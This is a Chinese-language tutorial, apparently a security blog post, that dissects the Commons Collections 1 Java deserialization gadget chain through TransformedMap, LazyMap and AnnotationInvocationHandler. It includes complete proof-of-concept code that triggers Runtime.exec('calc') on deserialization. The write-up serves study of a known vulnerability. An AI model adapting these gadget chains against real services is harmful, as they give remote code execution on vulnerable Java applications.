Apache Commons Collections
是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。
在Commons Collections中实现了一个TransformedMap
类,该类是对 Java 标准数据结构类型Map接口的一个扩展。该类可以在一个Map元素加入到集合内时,自动对该元素进行特定的修饰变化,而具体的变换逻辑则由Transformer
类定义,Transformer
在TransformedMap
实例化时作为参数传入
TransformedMap链前置知识
利用条件
利用版本:CommonsCollections 3.1 - 3.2.1 限制:jdk 8u71 版本之前
接口类与实现类
Transformer
Transformer#transform
Transformer接口定义了一个对象修饰变化的方法transform。
public interface Transformer {
public Object transform(Object input);
}
一些重要类
该接口的重要实现类:ConstantTransformer
,invokerTransformer
,ChainedTransformer
,以及调用了invokerTransformer
实现类的TransformedMap
ConstantTransformer
当调用transform方法时对传入的对象不会做任何处理,直接返回构造函数中传入的对象。它的作用便是包装任意一个对象,在执行transform
回调时返回这个对象
ConstantTransformer#ConstantTransformer
与ConstantTransformer#transform
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
InvokerTransformer
InvokerTransformer
是执行类,在该类的transform方法中实现了类方法的动态调用(及存在任意方法执行)
InvokerTransformer#InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
InvokerTransformer#transform
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
在InvokerTransformer#transform
中存在任意方法执行,其中iMethodName
,iParamTypes
,iArgs
均可控。
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
正常反射执行
public class Cc1 {
public static void main(String[] arges) throws Exception {
Class<?> runtime = Class.forName("java.lang.Runtime");
Method getRuntime = runtime.getMethod("getRuntime");
Method exec = runtime.getMethod("exec", String.class);
Object input = getRuntime.invoke(runtime);
exec.invoke(input,"calc");
}
}
使用InvokerTransformer#transform
进行方法执行
public class Cc1 {
public static void main(String[] arges) throws Exception {
// 参数1:是待执行的方法名,参数2:是待执行方法的参数类型,参数3:待执行方法的参数列表
Method Method = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Object obj = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(Method);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(obj);
}
}
ChainedTransformer
ChainedTransformer#ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
ChainedTransformer#transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer#transform
方法是对Transformer
实现类们的链式调用,当传入一个Transformer数组
时,ChainedTransformer
就会依次调用每一个Transformer
的transform
回调方法,并将前一个回调返回的结果,作为后一个回调的参数传入。
Transformer数组
中第一个Transformer
的transform
方法传入为外部ChainedTransformer(transformers).transform(Runtime.class)
处transform
方法的传入。
不难看出之前使用InvokerTransformer#transform
进行方法执行的代码中便是将上一行返回的对象变成下一行transform
方法的传入。
示例:用ChainedTransformer#transform重写前面的任意方法执行代码
public class Cc1 {
public static void main(String[] arges) throws Exception {
// 参数1:是待执行的方法名,参数2:是待执行方法的参数类型,参数3:待执行方法的参数列表
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
new ChainedTransformer(transformers).transform(Runtime.class);
}
}
TransformedMap
这里引入TransformedMap
类,org.apache.commons.collections.map.TransformedMap
类间接的实现了java.util.Map接口,同时支持对Map的key或者value进行Transformer
转换。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
该构造函数为protected,因此应该存在内部调用。通过调用decorate()
和decorateTransform()
方法都可以调用TransformedMap()
的构造函数TransformedMap#TransformedMap
TransformedMap#decorate
可构造TransformedMap
类
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
可以发现在TransformedMap
类中通过checkSetValue()
、put()
和putAll()
方法都可以调用构造时传进来的Transform
类(例如InvokerTransformer
,ChainedTransformer
)的transform()
方法。但是put()
与putAll()
是分别通过transformKey()
与transformValue()
间接调用
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
TransformedMap链
执行类
InvokerTransformer#transformer
中存在任意方法执行,因此可以该类为执行类。
调用链
入口类
AnnotationInvocationHandler.readObject()
InvokerTransformer#transformer
在InvokerTransformer#transformer
中可任意方法执行,我们向上查找谁调用了该方法
在TransformedMap
中存在多次调用进行更进。
TransformedMap#checkSetValue
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
继续向上查找谁调用了checkSetValue()
,发现只存在一处调用。
AbstractInputCheckedMapDecorator#setValue
在AbstractInputCheckedMapDecorator
类的MapEntry()
方法调用了checkSetValue()
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
在此处的调用链编写:
public class Cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//使用MapEntry的setValue方法执行时需给map赋值
map.put("1","2");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
//使用TransformedMap的put方法执行
//decorateMap.put("1",Runtime.class);
//使用MapEntry的setValue方法执行
for(Map.Entry entry: decorateMap.entrySet()){
entry.setValue(Runtime.class);
}
}
}
接下来就是查找何处调用了setValue()
,最好是某处的readObject()
AnnotationInvocationHandler
在AnnotationInvocationHandler
类中找到了重构后的readObject()方法,并存在调用setValue()
的地方。
AnnotationInvocationHandler#AnnotationInvocationHandler
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
该构造函数的第一个参数是Class需要继承Annotation注解,第二个是参数就是前面通过decorate
构造的TransformedMap
。
构造POC的时候,需要创建一个AnnotationInvocationHandler
对象,而AnnotationInvocationHandler
不能直接获取因为该构造函数没有设置访问属性,默认为protected
,所以需要通过反射来获取。
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, decorateMap);
AnnotationInvocationHandler#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()
和memberValue.setValue(...)
.
memberValues
便是执行构造函数时传入的Map,也是经过了TransformedMap#decorate
修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap
里的checkSetValue()
中的transform()
,进而执行我们为其精心设计的任意代码。
在此之前还需要满足一些条件才能进入调用setValue()
的地方。
//Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//获取我们传入的type的成员变量。type为注解类,及该注解类需要有成员变量。
if (memberType != null) { // i.e. member still exists
//且被 TransformedMap.decorate 修饰的Map中必须有一个键名与注解类中的成员变量的名字相同。
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
/**此处new AnnotationTypeMismatchExceptionProxy为不可控参数,并不能控制它为Runtime.class,这时前面的ConstantTransformer就派上用场了,当调用ConstantTransformer#transform方法时对传入的对象(AnnotationTypeMismatchExceptionProxy)不会做任何处理,直接返回构造函数中
传入(new ConstantTransformer(Runtime.class))的对象。它的作用便是包装任意一个
对象,在执行`transform`回调时返回这个对象**/
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
完整poc
package Cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class TestCc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
map.put("value","2");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
// 反射获取AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, decorateMap);
// serialize(obj);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
}
LazyMap
org.apache.commons.collections.map.LazyMap
与 TransformedMap
类似,不过不同是调用 get() 方法时会检查key是否在map中,如果不存在则会触发 factory.transform(key)方法。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
factory为构造LazyMap时传入的参数是可控的。
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
构造一下当前的利用链:
package Cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
lazyMap.get(null);
}
}
接下来便是查找什么地方调用了get()方法在sun.reflect.annotation.AnnotationInvocationHandler
的readObject()
方法中并没有直接调用到LazyMap
的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler
类的invoke()
方法有调用到get方法
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
Object result = memberValues.get(member);
,memberValues
为构造AnnotationInvocationHandler
对象时传入的参数(及LazyMap)。
那又如何能调用到AnnotationInvocationHandler#invoke
呢?ysoserial的作者是利用了Java的对象代理。
在使用带有装饰器的 LazyMap
初始化 AnnotationInvocationHandler
之前,先使用 AnnotationInvocationHandler
代理一下 LazyMap
,使用代理后得到的LazyMapProxy
(代理对象)初始化AnnotationInvocationHandler
(我们不能直接对LazyMapProxy
代理对象进行序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject),这样反序列化 AnnotationInvocationHandler
时,只要调用 LazyMapProxy
(代理对象)的
任意方法(此处为entrySet()
))就会调用代理类的 invoke()
方法,从而触发 LazyMap
的 get()
方法。
完整poc
package Cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
// lazyMap.get(null);
// 通过反射获取AnnotationInvocationHandler
Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> Constructor = cls.getDeclaredConstructor(Class.class, Map.class);
Constructor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
// 使用动态代理初始化 AnnotationInvocationHandler
handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMapProxy);
// serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
}
参考链接:
https://www.le1a.com/post/%E6%B5%85%E8%B0%88Commons-Collections1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
http://www.bmth666.cn/bmth_blog/2022/02/21/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommonsCollections%E9%93%BE/#LazyMap-1